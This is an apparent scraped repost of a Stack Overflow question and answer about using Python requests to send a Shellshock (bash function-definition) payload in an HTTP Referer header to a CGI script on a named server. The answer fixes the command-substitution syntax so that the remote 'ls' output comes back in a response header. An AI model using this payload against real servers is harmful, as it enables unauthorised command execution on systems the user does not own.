gpt4 book ai didi

python - 如何使用python从http header 在服务器中执行bash命令?

转载 作者:行者123 更新时间:2023-12-01 04:59:45 25 4
gpt4 key购买 nike

我在 python 中有以下脚本

headers = {'Referer': """() { :;}; y="($ls)";echo 'ls_result: '$y; """}
r = requests.get("http://manticore.2y.net/cgi-bin/dlwct.sh",headers=headers)

r.headers 

{
'x-rdir': '""', 'x-vps': 'yes',
'transfer-encoding': 'chunked',
'server': 'Apache/1.3.29',
'connection': 'close',
'date': 'Thu, 23 Oct 2014 09:13:47 GMT',
'ls_result': '()',
'content-type': 'text/html'
}

当我在标题中传递y="(ls)"时。我在响应 header 中收到 'ls_result': '(ls)' 。为什么 $ 从我的输入中剥离?如何在响应头中列出目录?PS:这是出于教育目的

最佳答案

执行命令并将其输出分配给变量的语法是:

y="$(ls)"

括号内有 $,它应该在括号外。

请注意,如果您尚未修补 ShellShock 漏洞,您的代码只会执行 shell 命令。

关于python - 如何使用python从http header 在服务器中执行bash命令?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/26524916/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com